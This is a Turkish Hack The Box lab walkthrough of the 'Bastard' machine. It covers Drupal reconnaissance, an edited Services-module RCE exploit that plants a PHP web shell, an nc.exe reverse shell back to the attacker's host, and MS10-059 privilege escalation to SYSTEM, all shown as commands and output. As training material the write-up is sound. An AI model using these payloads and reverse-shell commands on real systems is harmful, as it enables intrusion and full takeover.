| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Bastard – HTB | Orta | Windows |  |
Walkthrough
Nmap taraması ile başlayalım.
[*] Scan: 16
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 13:24 EDT
Nmap scan report for 10.10.10.9
Host is up (0.070s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|Vista|Phone|8.1 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8.1
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (90%), Microsoft Windows 7 (90%), Microsoft Windows 7 Professional or Windows 8 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (90%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows Vista SP2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 70.46 ms 10.10.14.1
2 70.54 ms 10.10.10.9
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 163.03 seconds
- porta gittiğimde bir drupal gördüm ve incelemeye başladım.
┌──(root💀kali)-[~/tool/drupwn]
└─# python3 drupwn --mode exploit --target http://10.10.10.9/ 255 ⨯
____
/ __ \_______ ______ _ ______
/ / / / ___/ / / / __ \ | /| / / __ \
/ /_/ / / / /_/ / /_/ / |/ |/ / / / /
/_____/_/ \__,_/ .___/|__/|__/_/ /_/
/_/
[-] Version not specified, trying to identify it
[+] Version detected: 7.54
Commands available: list | quit | check [CVE_NUMBER] | exploit [CVE_NUMBER]
Drupwn> list
+---------------+----------------------------------------+---------------------------------+
| CVE | Description | Versions affected |
+---------------+----------------------------------------+---------------------------------+
| CVE-2018-7600 | Remote Command Execution | 7.x < 7.58 & 8.x < 8.1 |
| CVE-2018-7602 | Authenticated Remote Command Execution | 7.x <= 7.58 |
| CVE-2019-6340 | Remote Command Execution | 8.5.x < 8.5.11 & 8.6.x < 8.6.10 |
+---------------+----------------------------------------+---------------------------------+Version numarası 7.54 ve bu versiyonun zafiyetli olduğunu biliyorum. Bu yüzden bir exploit araştırması yaptım.
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# searchsploit Drupal 7.x
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure | php/webapps/44501.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting | php/webapps/25493.txt
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | php/remote/40144.php
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | php/remote/40130.rb
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# searchsploit -m php/webapps/41564.php
Exploit: Drupal 7.x Module Services - Remote Code Execution
URL: https://www.exploit-db.com/exploits/41564
Path: /usr/share/exploitdb/exploits/php/webapps/41564.php
File Type: ASCII text, with CRLF line terminators
Copied to: /root/oscp/htb/bastartd/41564.php
Daha sonrasında exploiti okudum ve içerisinde düzenlemeleri yaptım ancak öncesinde bir şeyi farkettim. Drupal’ın login olurken ki endpoit’i 404 veriyor. Bu yüzden dizin keşfi yapmaya karar verdim.
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# gobuster dir --url http://10.10.10.9 --add-slash --expanded --follow-redirect --status-codes-blacklist 404,403 --timeout 20s -t 50 -w /usr/share/wordlists/dirb/big.txt --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.9
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 20s
===============================================================
2021/07/28 17:43:31 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.9/0/ (Status: 200) [Size: 7583]
http://10.10.10.9/rest/ (Status: 200) [Size: 62] endpointi buduktan sonra ezploitimi düzenledim. Aşağıdaki gibi:
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# head -n 40 41564.php
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/drupal-services-module-rce
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#
# Initialization
error_reporting(E_ALL);
define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');
$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'kuday.php',
'data' => '<?php echo shell_exec($_GET["cmd"]); ?>'
];
$browser = new Browser($url . $endpoint_path);
Exploiti çalıştırdım ve daha sonrasında web shell elde ettim.
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# php 41564.php
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/drupal-services-module-rce
#!/usr/bin/php
Stored session information in session.json
Stored user information in user.json
Cache contains 7 entries
File written: http://10.10.10.9/kuday.php
http://10.10.10.9/kuday.php?cmd=type%20C:\Users\dimitris\Desktop\user.txt adres,ne stek attığımda flagi aldım.
ba22f******************************Ancak bir reverse shell’e ihtiyacım vardı. Bunun üzerine windows’a nc.exe atmaya karar verdim. python ile kalimde bir smb server başlattım.
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# /usr/local/bin/smbserver.py KUDAY /root/oscp/htb/bastartd 130 ⨯
Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsedhttps://github.com/kudayDOTsite/fuzzdb/blob/master/web-backdoors/exe/nc.exe adresinden nc.exe’yi indirdim ve web shell üzerinden dosyayı kopyaladım.
http://10.10.10.9/kuday.php?cmd=copy%20\\10.10.14.12\KUDAY\nc.exe%20.
1 file(s) copied.Bir dinleme noktası açıp reverse aldım.
http://10.10.10.9/kuday.php?cmd=nc.exe%20-e%20cmd.exe%2010.10.14.12%20443┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# nc -lvp 443 1 ⨯
listening on [any] 443 ...
10.10.10.9: inverse host lookup failed: Unknown host
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.9] 64711
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\inetpub\drupal-7.54>İlk işim systeminfo‘yu okumak oldu ve sistemin Microsoft Windows Server 2008 R2 Datacenter olduğunu tespit ettim.
C:\inetpub\drupal-7.54>cmd.exe /c systeminfo > systeminfo.txt
cmd.exe /c systeminfo > systeminfo.txt
C:\inetpub\drupal-7.54>type systeminfo.txt
type systeminfo.txt
Host Name: BASTARD
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00496-001-0001283-84782
Original Install Date: 18/3/2017, 7:04:46 ��
System Boot Time: 28/7/2021, 7:08:12 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
[02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2.047 MB
Available Physical Memory: 1.513 MB
Virtual Memory: Max Size: 4.095 MB
Virtual Memory: Available: 3.544 MB
Virtual Memory: In Use: 551 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.9Güncel exploitleri kullanmak için Windows-Exploit-Suggester aracını kullandım.
┌──(root💀kali)-[~/tool/Windows-Exploit-Suggester]
└─# python2 windows-exploit-suggester.py --systeminfo /root/oscp/htb/bastartd/sysinfo -d 2021-07-28-mssb.xls
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*]
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done
Bu noktadan sonra önceden derlenmiş exploitler ile hak yükselttim.(https://github.com/kudayDOTsite/WindowsExploits) MS10-059 exploitini kalime indirdim. Daha sonrasında smb ile windows’a transfer ettim.
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# wget https://github.com/abatchy17/WindowsExploits/raw/master/MS10-059%20-%20Chimichurri/MS10-059.exe
--2021-07-28 17:01:12-- https://github.com/abatchy17/WindowsExploits/raw/master/MS10-059%20-%20Chimichurri/MS10-059.exe
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS10-059%20-%20Chimichurri/MS10-059.exe [following]
--2021-07-28 17:01:13-- https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS10-059%20-%20Chimichurri/MS10-059.exe
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 784384 (766K) [application/octet-stream]
Saving to: ‘MS10-059.exe’
MS10-059.exe 100%[=========================================================================================================================================>] 766.00K 2.69MB/s in 0.3s
2021-07-28 17:01:14 (2.69 MB/s) - ‘MS10-059.exe’ saved [784384/784384]C:\inetpub\drupal-7.54>copy \\10.10.14.12\KUDAY\MS10-059.exe .
copy \\10.10.14.12\KUDAY\MS10-059.exe .
1 file(s) copied.
C:\inetpub\drupal-7.54>MS10-059.exe
MS10-059.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
C:\inetpub\drupal-7.54>İlk çalıştırdığımda bana Usage: Chimichurri.exe ipaddress port şeklinde hata verdi. Bunun üzerine kendimde bir dinleme noktası daha açtım.
C:\inetpub\drupal-7.54>MS10-059.exe 10.10.14.12 80
MS10-059.exe 10.10.14.12 80
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse shell...<BR>/Chimichurri/-->Restoring default registry values...<BR>
C:\inetpub\drupal-7.54>
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# nc -lvp 80 1 ⨯
listening on [any] 80 ...
whoami
10.10.10.9: inverse host lookup failed: Unknown host
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.9] 58884
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\inetpub\drupal-7.54>whoami
nt authority\system
C:\inetpub\drupal-7.54>cd C:\
cd C:\
C:\>cd Users\Administrator\Desktop
cd Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 605B-4AAA
Directory of C:\Users\Administrator\Desktop
19/03/2017 08:33 �� <DIR> .
19/03/2017 08:33 �� <DIR> ..
19/03/2017 08:34 �� 32 root.txt.txt
1 File(s) 32 bytes
2 Dir(s) 30.795.886.592 bytes free
C:\Users\Administrator\Desktop>type root.txt.txt
type root.txt.txt
4bf1*****************************************
İlk Yorumu Siz Yapın